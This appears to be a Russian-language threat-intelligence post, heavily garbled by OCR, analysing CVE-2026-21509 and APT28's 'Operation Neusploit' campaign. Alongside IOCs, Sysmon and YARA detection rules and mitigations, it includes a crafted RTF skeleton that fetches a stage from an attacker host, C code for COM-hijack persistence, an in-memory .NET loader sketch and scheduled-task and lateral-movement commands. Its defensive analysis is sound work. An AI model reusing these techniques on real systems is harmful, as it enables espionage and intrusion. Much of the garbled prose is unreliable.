CVE-2026-21509: APT28 — ot ¢ummHra mno
SYSTEM 3a 48 4yacos

Posted on 29 mapTa, 2026 by AkaTor

Kateropus: Red Team / Blue Team / Purple Team
YpoBensb: Advanced — Expert

Astop: Aka Tor

CVE: CVE-2026-21509

CVSS: 7.8 (High)

APT: APT28 / Fancy Bear / Forest Blizzard
Omnepanus: Operation Neusploit

BBepmenue

26 suBaps 2026 Microsoft packpsin CVE-2026-21509 — ysa3BuMocTb 06xoma OLE security
restrictions B Microsoft Office. Yepe3 24 gaca APT28 (poccuiickas BoeHHas pa3Befnka, ['PY)
y2Ke HCIO0/Ih30Bala e€ B aTakaxX Ha YKpauny, [Tonwimny, I'pennto, Typiuio u OA3.

Kammnanusg nonyunna Ha3BaHue Operation Neusploit. Oco6erHOCTH:

» Fileless — .NET assemblies 3arpykatoTcs MpsiMo B MaMsTh, HET (aNIOB Ha [IUCKe
* Injection B svchost.exe — persistence dyepes meruTUMHBIN IIPOIECC

» COM Hijacking — nogpmena CLSID B peecTpe fis aBTO3arpy3kKu

 Cloud C2 — ynpasnenue uepe3s filen.io (nerutumuoe 061aK0)

 IBa 63kmopa — NotDoor (Outlook VBA) u moguduimpoBanubiii Covenant

1. Ya3Bumocts: CVE-2026-21509
1.1 CyTb Gara

Tun: CWE-807 (Reliance on Untrusted Inputs in Security Decision)



BekTop: RTF pokyMeHT ¢ OLE obbekToM
Tpurrep: OTKpbiTUE OOKYyMeHTa (no macros, no user interaction)
CVSS: 7.8 (High) — Local, Low Complexity, Low Privs, No UI

Mpobnema:

Microsoft Office HenpaBwunbHOo Banugupyet OLE 06bekTbl npu napcuHre
RTF.

CneumnanbHo cpopmmpoBaHHbii OLE object (Shell.Explorer ActiveX
control)

obxoout security restrictions u nonyvyaet execution.

HopManbHo: Office 6nokupyet Shell.Explorer.l COM object (dangerous)
bar: RTF c onpepenéHHoM CTPyKTypon o6XxoamT npoBepkKy
- Shell.Explorer 3arpyxaertcs - BbiNosHAeT npou3BonbHbin URL/pann

1.2 Exploit Flow

. XepTtBa oTkpbiBaet RTF ¢ann (attachment u3 phishing email)

. Office napcut RTF - HaxoguT OLE object

. OLE object = Shell.Explorer.1l (ActiveX browser control)

. bar: Office HE 6nokupyet 37107 control (o6bxom Banupgauun)

. Shell.Explorer 3arpyxaet URL: http://attacker/payload.html
. payload.html copepxut JavaScript - ckauumaeT dropper DLL

. DLL BbinonHsieTca B KoHTekcTe Office npouecca

. - [onHbin compromise 6e3 MakpoCOB M npepynpexgeHun!

1.3 Crafted RTF structure

{\rtfl\ansi
{\object\objocx
{\*\objclass Shell.Explorer.1} « ActiveX browser control
\objw8307\objh553
{\*\objdata
. OLE stream c Shell.Explorer ...
. Hasurauus Ha http://attacker/stage2 ...

OO UL, WN B

-



Kniou: \objclass Shell.Explorer.1l

HopMmanbHo: Office 6nokupyet 37107 class (security check)
CVE-2026-21509: cneumanbHas cTpykTtypa RTF obxogut check
- Shell.Explorer co3paétcsa v BbiNnosHAeT navigation

2. Kill Chain — Operation Neusploit

2.1 Jran 1: Initial Access — Spear Phishing

From: ministry-defense@gov-ua.org (spoofed)
To: target@military.gov.pl
Subject: "OHoBneHa iH¢opmauis wopo 6e3nekoBol cutyauyii" (ykp.)

Attachment: security update feb2026.rtf

TeMaTnka nucem:
- BoeHHble 6puduHrn NATO
- CaHkuun npotms Poccum
- Mopckue TpaHCNoOpTHble MapwpyThl
- 06bHoBneHusa 6esonacHocTu Microsoft (uMpoHuAa)

Uenun: YkpauHa, Monbwa, Cnosakua, PymeiHua, [peunda, Typuusa, 0A3
CeKTopa: BOEHHble, MPaBUTENIbCTBEHHbLIE, MOPCKWE, TPAHCMNOPTHbLIE

2.2 Jtan 2: Execution — RTF - Dropper DLL

// Dropper DLL ckaumBaetcs 4epe3 Shell.Explorer WebDAV
// [Ba BapuaHTa Habnwpanucb CrowdStrike/Trellix:

// BapuaHT A: EhStoreShell.dll (COM hijack + shellcode B PNG)
// 1. Co3paét C:\Users\{user}\AppData\Local\EhStoreShell.dll
// 2. Co3paét C:\Users\{user}\AppData\Local\SplashScreen.png
(shellcode)

// 3. Mogupuumpyet peectp: COM hijack yepes CLSID

// BapuaHt B: MiniDoor (Outlook VBA backdoor)



//
//
//

//
//

1. NHxekTut VBA npoekT B Outlook
2. Kpagét emails, nepecbinaeTt aTakywowemy
3. MpuHuMMaeT KoMaHAgbl 4epe3 email

06e BapuaHTbl: HeT (GawnnoB Ha AWCKE MNOCSe Ha4valbHOW CTaguu
Bcé paboTtaetr in-memory 4yepe3 .NET assembly loading

2.3 Jtan 3: Persistence — COM Hijacking + Scheduled Task

//
//

//
//
//

//
//
//

//
//
//
//

COM Hijacking: nogmeHa CLSID B HKCU
Mpn kKaxpoM 3anycke explorer.exe - 3arpyxaetcs Hawa DLL

War 1: Peructpupyem Hawy DLL kak COM object
HKCU\Software\Classes\CLSID\{CLSID}\InProcServer32
Default = C:\Users\{user}\AppData\Local\EhStoreShell.dll

War 2: Scheduled Task "OneDriveHealth"
Oencteue: taskkill /F /IM explorer.exe && explorer.exe
Mpun nepesanycke explorer.exe -» COM hijack - Hawa DLL 3arpyxaeTtcs

lMpuMep peecTpa:
[HKCU\Software\Classes\CLSID\{B7D7...}\InProcServer32]
@="C:\Users\victim\AppData\Local\EhStoreShell.dll"
ThreadingModel="Both"

void SetupCOMHijack(const char* clsid, const char* dllPath) {

char keyPath[512];
sprintf s(keyPath, sizeof(keyPath),
"Software\\Classes\\CLSID\\%s\\InProcServer32", clsid);

HKEY hKey;

RegCreateKeyExXA(HKEY CURRENT USER, keyPath, 0, NULL,
0, KEY SET VALUE, NULL, &hKey, NULL);

RegSetValueExA(hKey, NULL, 0, REG SZ,
(BYTE*)dl1Path, (DWORD)strlen(dllPath) + 1);

RegSetValueExA(hKey, "ThreadingModel", 0, REG SZ,
(BYTE*)"Both", 5);

RegCloseKey (hKey) ;



}

// Scheduled Task pns pectapta explorer:

// schtasks /create /tn "OneDriveHealth" /tr

// "cmd /c taskkill /F /IM explorer.exe && explorer.exe"
//  /sc ONLOGON /ru %USERNAMES

2.4 Oram 4: Fileless Execution — .NET Assembly B mamsTu

// Shellcode u3 SplashScreen.png - bootstrap .NET runtime
// be3 ¢anmnoB Ha AMCKe — TOSIbKO memory

// War 1: Shellcode u3 PNG
// EhStoreShell.dll uutaet SplashScreen.png
// Dexkomupyet shellcode n3 LSB nukcenen wnm nocne EOF marker

// War 2: Shellcode bootstrap

// Wcnonb3yet PEB traversal gna resolve API:

// MSCOREE.DLL - CLRCreateInstance()

// -» ICLRMetaHost - GetRuntime("v4.0.30319")

// - ICLRRuntimeHost - Start()

// - ICLRRuntimeHost - ExecuteInDefaultAppDomain()

// War 3: .NET Assembly 3arpyxaeTcs B namaTb
// Assembly.Load(byte[]) — u3 namMaTtu, He C aOuckal!
// Hukakux ¢annos — Tonbko memory resident code

// Pseudo-code:
void FilelessDotNetLoad(PBYTE assemblyBytes, DWORD assemblySize) {
// 1. 3arpyxaem CLR runtime
ICLRMetaHost* pMetaHost;
CLRCreateInstance(CLSID CLRMetaHost, IID ICLRMetaHost,
&pMetaHost) ;

ICLRRuntimeInfo* pRuntime;
pMetaHost->GetRuntime(L"v4.0.30319", IID ICLRRuntimeInfo,
&pRuntime) ;



ICLRRuntimeHost* pHost;
pRuntime->GetInterface(CLSID CLRRuntimeHost, IID ICLRRuntimeHost,

&pHost) ;

pHost->Start();

// 2. 3arpyxaem .NET assembly u3 namatwu

// Wcnonb3yem ICorRuntimeHost pgna AppDomain access
ICorRuntimeHost* pCorHost;

pRuntime->GetInterface(CLSID CorRuntimeHost, IID ICorRuntimeHost,

&pCorHost) ;

}

pCorHost->Start();

IUnknown* pAppDomainUnk;
pCorHost->GetDefaultDomain (&pAppDomainUnk) ;

// _AppDomain-Load(byte[]) — 3arpy3ka assembly un3 namatu
// Hukakux ¢awnnoB Ha pgucke!

// 3. Bbi3biBaeM MeTon M3 3arpyxeHHonm assembly
// Assembly copepxut Covenant/CovenantGrunt implant

2.5 Jtan 5: Process Injection B svchost.exe

//
//

//

//
//
//
//
//
//

//
//

NMocne 3arpy3kun .NET assembly - injection B svchost.exe

svchost.exe — CUCTeMHbIM npouecc, He Bbi3biBaeT MOQO3PEHUN
TexHuka: Process Hollowing unu .NET Assembly injection
BapunaHt A: CreateRemoteThread + .NET CLR B svchost

1. OpenProcess(svchost.exe)

2. VirtualAllocEx - BbipenseMm namMaTb

3. WriteProcessMemory - nuweMm CLR bootstrap shellcode

4. CreateRemoteThread - 3anyckaem shellcode

5. Shellcode 3arpyxaet CLR - 3arpyxaet .NET implant B namaTb

BapuaHT B: Yepe3 Named Pipe + Impersonation
svchost.exe (SYSTEM) nopgkniw4yaetcd K pipe - impersonate - SYSTEM



token

// Pe3ynbTart:

// svchost.exe (SYSTEM) suinonHset Covenant implant
// B namMatu — .NET assembly

// Ha pucke — Hu4ero

// Forensics BMOWUT TONbKO NErutmMMHein svchost.exe

2.6 9tan 6: Command & Control — Cloud C2

C2 Infrastructure: filen.io (nerntuMHoe obnavyHoe XpaHunuwe)

Flow:
1. Implant co3paét akkayHT Ha filen.io
2. leHepupyeT RSA knw4yeByw napy
3. 3arpyxaet public key B cBow nanky Ha filen.io
4. C2 onepartop:
a) O6bHapyxuBaeT HoBoro victim no public key
b) leHepupyet AES-256 session key
c) Wndpyet session key RSA public key xepTBbl
d) 3arpyxaeT 3aundpoBaHHbLIN Session key B manky XepTBbl
5. Implant ckaumBaeT M pacuuppoBbiBaeT session key
6. [NanbHenwas KoMMyHuKauusa: AES-256 encrypted uepes filen.io

[penMywecTBa:
- Tpapuk k filen.io — nerutumHbin HTTPS
- Het npamoro coeguHeHua ¢ C2 cepsBepoM
- DPI/Firewall/Proxy He Bugat C2 Tpaduk
- MoxHo nogMeHuTb Ha nwboe obnako (OneDrive, Google Drive)

2.7 Jtan 7: Post-Exploitation — Reconnaissance + Lateral Movement

HabnwooéHHele koMaHgbl APT28 nocne nonyyeHus pgocTtyna:

Reconnaissance:
arp.exe -a — ARP T1abnuua (ceTteBble coceaun)
systeminfo.exe — Bepcua 0C, natum, hardware
tracert.exe target.corp.local — MapupyT 00 uenwu

whoami /all TeKywun 3ep, rpynmnsl,



npuBUNerun
net user /domain — l03epbl QOMeHa
net group "Domain Admins" /domain — domain admins

Credential Harvesting:
Oamn 4yepe3 .NET reflection (in-memory Mimikatz)
NTLM xswm n3 LSASS (6e3 dawnna Ha pucke)

Lateral Movement:
WMI - wmic /node:TARGET process call create "..."
PsExec - 4yepe3 SMB + named pipe
RDP - c ykpageHHbMM credentials

3. bakmopei: NotDoor u Covenant

3.1 NotDoor — Outlook VBA Backdoor

NotDoor: 63kpgop 4epe3 Microsoft Outlook VBA

YcTaHoBKa:
1. Dropper co3paét VBA npoekTt B Outlook
2. VBA kop BbinonHsetcsa npu KaxgoM 3anycke OQutlook
3. MoHuTopuT BXxopswme emails C KOMaHpamu

OyHKUMOHAN:
- Kpaxa Bcex emails - nepecbinka Ha email aTakywwero
- lpuéM KoMaHp 4vepes3 crneuvanbHo ¢opMaTMpoBaHHbIe emails
- BbinonHeHMe koMaHg Ha xocTe 4yepe3 Shell.Run
- CKpUHWOTHI
- CkauymBaHue ¢annos

MMpeuMylecTBa:
- Persistence 4epe3 Outlook (3anyckaeTcd npuv KaxgoM JIOr OHeE)
- C2 vyepe3 email — He HyXeH npsMON ceTeBOM AOCTYynN
- 06xogut network monitoring (email = nNernTuMHbIi Tpaduk)
- Het otgenbHoro npouecca — pabotaet BHyTpu Outlook



3.2 Covenant / CovenantGrunt — .NET Implant

// Covenant: open-source .NET C2 framework
// APT28 mopguomumposanu Covenant pOnsd CBOMX HyX[

// Mopupunkauum:

// 1. Cloud C2 BMecTOo HTTP listener (filen.io)

// 2. AES-256 + RSA wuppoBaHue KOMMYHUKaLUM

// 3. Fileless loading 4epe3 CLR B namsTtu

// 4. Anti-forensics: 3aunmctka event logs

// 5. 06¢yckauma .NET assembly (ConfuserEx/dnlib)

// CovenantGrunt capabilities:

// - TIpOn3BONIbHOE BLINOJIHEHME KOMaH[

// - Upload/download ¢annos

// - Process injection

// - Token manipulation

// - Kerberos ticket operations (4yepe3 Rubeus)
// - Credential dumping (in-memory)

// - Lateral movement (WMI, PsExec, DCOM)

// - Keylogging

// - Screenshot capture

4. Indicators of Compromise (I0C)

Files:
EhStoreShell.dll — COM hijack loader
SplashScreen.png — shellcode container (steganography)
MiniDoor VBA project — Outlook backdoor

Registry:

HKCU\Software\Classes\CLSID\{suspicious}\InProcServer32
- Value pointing to non-system DLL

Scheduled Tasks:
"OneDriveHealth" — kills and restarts explorer.exe



Network:
filen.io connections from non-browser processes
WebDAV connections to suspicious URLS
RTF documents downloading DLLs

Process Behavior:
svchost.exe - loading .NET CLR (clrjit.dll, mscorlib.dll)
explorer.exe -» loading non-standard DLLs after restart
WINWORD.EXE - spawning child processes
WINWORD.EXE - network connections to external URLs

Email:
Subjects: military/government themed in target language
Senders: spoofed government domains
Attachments: .rtf files exploiting CVE-2026-21509

5. [IeTeKT u 3alluTa

5.1 Sysmon Rules

Event ID 1 (Process Create):
ParentImage: *\WINWORD.EXE
Image: *\cmd.exe OR *\powershell.exe OR *\rundll32.exe
- O0ffice spawning suspicious child = CVE exploit!

Event ID 7 (Image Loaded):
Image: *\svchost.exe
ImagelLoaded: *\clrjit.dll OR *\mscorlib.dll
- svchost loading .NET CLR = possible fileless injection

Event ID 11 (File Create):
TargetFilename: *\EhStoreShell.dll OR *\SplashScreen.png
- Known APT28 artifacts

Event ID 13 (Registry Value Set):
TargetObject: HKCU\Software\Classes\CLSID\*\InProcServer32\*



- COM Hijacking for persistence

Event ID 3 (Network Connection):
Image: *\WINWORD.EXE
DestinationPort: 80 OR 443
- 0ffice making external connections (suspicious)

5.2 YARA Rule

rule APT28 Neusploit RTF {
meta:
description = "Detects CVE-2026-21509 exploit RTF"
author = "Aka Tor"
date = "2026-03"

reference = "Operation Neusploit"
strings:
$rtf = "{\\rtfl" ascii
$olel = "\\objocx" ascii
$ole2 = "Shell.Explorer" ascii wide nocase
$ole3 = "\\objclass" ascii
$webdav = "http" ascii nocase
condition:

$rtf at 0 and $ole3 and ($olel or $ole2) and $webdav
}

rule APT28 EhStoreShell {
meta:
description = "Detects APT28 EhStoreShell COM hijack DLL"

strings:
$s1 = "EhStoreShell" ascii wide
$s2 = "SplashScreen.png" ascii wide
$s3 = "CLRCreateInstance" ascii
$s4 = "OneDriveHealth" ascii wide

condition:



uintl6(0) == O0x5A4D and 2 of them

}

5.3 Mitigation

» Patch: ycranoButh o6HOBneHue myisg CVE-2026-21509 (January 2026 Patch Tuesday)
 Block RTF: GPO - 3a6nokupoBaTh oTKpeiTHEe RTF B Office (File Block Settings)
» ASR Rules: «Block Office applications from creating child processes»

o AMSI: Bxmou€H — petekTuT .NET assembly loading

» Sysmon: npasuna Ha Office child processes, COM hijacking, CLR loading B svchost
 Email filtering: 6nmokupoBats RTF attachments Ha mepumeTpe
* Cloud access: mouuTopuHr filen.io mocTyma oT He-6pay3epHAIX ITPOIIECCOB

6. MITRE ATT&CK Mapping

dTtan

Initial Access

Execution
Execution
Persistence
Persistence
Persistence

Defense Evasion
Defense Evasion
Defense Evasion
Defense Evasion

Technique
Spearphishing Attachment

ID
T1566.001

Exploitation for Client Execution T1203

Dynamic Data Exchange (OLE)

COM Hijacking
Scheduled Task

T1559.002
T1546.015
T1053.005

Office Application Startup (VBA) T1137

Process Injection
Fileless: .NET Assembly
Masquerading (svchost)
Steganography (PNG)

Credential Access OS Credential Dumping

Discovery

System Information Discovery

Lateral Movement WMI / PsExec / RDP

C2
C2
Exfiltration

Web Service (Cloud Storage)

Encrypted Channel (AES-256)
Email Collection

T1055
T1620
T1036.005
T1027.003
T1003
T1082
T1021
T1102
T1573.001
T1114



7. PekoMeHOamuu

IIna Red Team

» COM Hijacking + Scheduled Task = HaméxHas persistence 6e3 admin mpas
* Cloud C2 (filen.io, OneDrive) o6xogut network monitoring

» Fileless .NET uepe3 CLRCreatelnstance — ocHoBHOU evasion metop 2026

» Steganography B PNG nnst xpanenus shellcode — o6xonurt file scanning

» Outlook VBA backdoor — C2 uepe3 email, HeBuguM ams network security

st Blue Team

» ASR Rule «Block Office child processes» — 3akpriBaeT Initial Access
« Block RTF Ha email gateway — y0uBaeT BeCh BEKTOD

» Sysmon: CLR loading B svchost.exe — kioueBoii meTekT fileless

« COM hijacking moruTOpuHr — Event ID 13 wa HKCU\...\CLSID

» Scheduled Task audit — «OneDriveHealth» u mogo6HEBIE

* Cloud storage audit — filen.io oT non-browser nporeccos

IIns Purple Team

» Bocnpoussepure kill chain: RTF - dropper - COM hijack - CLR injection
» [IpoBepsTe: getektut nu Baml EDR CLR loading B svchost.exe?

» [IpoBepsbTe: Omokupyet nu email gateway RTF attachments?
 TIpoBepbTe: ASR rules Brmouens! ans Office applications?

3aKkioyeHue

CVE-2026-21509 + Operation Neusploit — 3To yuebuuk mo modern APT kammanuu. Kaxmbii
aTan ONTUMHU3UPOBaH Oys evasion: RTF 6e3 makpocos (06xon sandbox), COM hijacking
(o0xop autorun monitoring), fileless .NET (06xon AV), cloud C2 (0o6xon network monitoring),
steganography (o6xo file scanning).

I'maBHBIM ypok: defense-in-depth. Onun KoHTpOIH He octanoBUT APT28. HyxHE BCE cnou:
email filtering + ASR rules + Sysmon + EDR + network monitoring + cloud access audit.



[Tponyctute opun — u kill chain 3aBepmmTcs 3a 24 daca.

[uckmerimep: Mareprail IpenocTaBieH HCKIIYHTEIbHO B 00pa30BaTe/IbHEIX I[eIIX /I
creHaaruCcTOB 110 HHPOPMAaLHOHHOH 0e301MacHOCTH. HcmoIb3yHTe MOIyYeHHbIe 3HaHU S

TOJIPKO B paMKax aBTOPH30BaAHHOTO TECTHPOBAHHS HA IIDOHUKHOBEHHE H 3aIIJHTEI
HHQPAaCTPYKTYDEL



